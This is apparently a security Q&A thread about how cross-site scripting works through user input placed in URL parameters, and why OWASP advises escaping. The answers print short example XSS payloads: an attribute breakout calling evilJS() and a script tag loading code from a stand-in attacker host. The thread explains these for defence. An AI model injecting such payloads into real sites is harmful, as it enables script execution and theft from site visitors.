8

The OWASP XSS Prevention Worksheet recommends "URL escape before inserting untrusted data into HTML URL parameter values".

I don't understand how someone could break out of a URL context or inject a new subcontext to perform a XSS attack in a URL. As the browser interprets the URL, can certain characters be used to terminate the processing of the URL and force the browser to start processing a new injected URL? 

http://somesite.com/about<terminating character>javascript:;alert("hello")

Can someone please provide examples of how someone would perform an XSS injection in a URL?

bwroga
  • 181
  • 1
  • 2

2 Answers2

4

The issue is if you accept user input as part of the url you output, as in this example given by OWASP:

<a href="http://www.somesite.com?test=[user input]">link</a >

The attacker does not have to break out of the URL context, but out of the string, eg by injecting:

foo" onload="evilJS();" foo="bar

or to break out of the a tag as well:

"><script src="evil.attacker/script.js"></script>
tim
  • 29,640
  • 7
  • 98
  • 121
  • 1
    That seems like an argument for html attribute escaping. What specific xss attacks can be performed on urls that can't be performed on normal html attributes? The cheat sheet treats url escaping and normal html attribute escaping separately. – bwroga Feb 23 '15 at 14:55
  • @bwroga I think it's mainly mentioned separately for emphasis. The code example also mentions something like <a href="[user supplied]"> which is obviously bad as it allows the javascript protocol to be inserted (as you mentioned in your question (javascript:evil())) and has to be handled differently than other attributes. I don't think there is a way to switch to it once part of the URL is given. The only way to actually context switch that comes to mind is using an @, but that has nothing to do with xss. – tim Feb 23 '15 at 15:53
  • @bwroga: You are right - HTML escaping is correct. However, as characters in query string values such as # and & need to be escaped, as the OWASP guide says Except for alphanumeric characters, escape all characters with ASCII values these will already be converted to %xx format and will not be dangerous as the attribute context cannot be escaped. – SilverlightFox Feb 24 '15 at 09:11
  • @silverlightFox So you need to escape those characters so that an attacker cannot terminate the current key/value pair in the query string and start a new one? – bwroga Feb 24 '15 at 19:11
  • @bwroga: Yes, that's correct. – SilverlightFox Feb 24 '15 at 19:13
0

This is a classic attack called "reflected XSS", and can also be used for "Persistent XSS". If you do not encode parameters being sent to your web application, they may "reflected" back out into the html body and executed as javascript. As a rule, encode absolutely everything. All tags that could be used to produce XSS must be encoded before being shown in the application (such as the <> in this case.) What can be worse (in the persistent case), is when the XSS is saved into your application and recalled via database.

Many web frameworks do not do this by default.

MrSynAckSter
  • 2,040
  • 11
  • 16
  • injections into URLs can also be as part of a persistent XSS attack (for example on a profile displaying a homepage of that user). A special case would be something like PHP_SELF, which is quite often used uncleaned and can then be used for reflected XSS – tim Feb 23 '15 at 14:51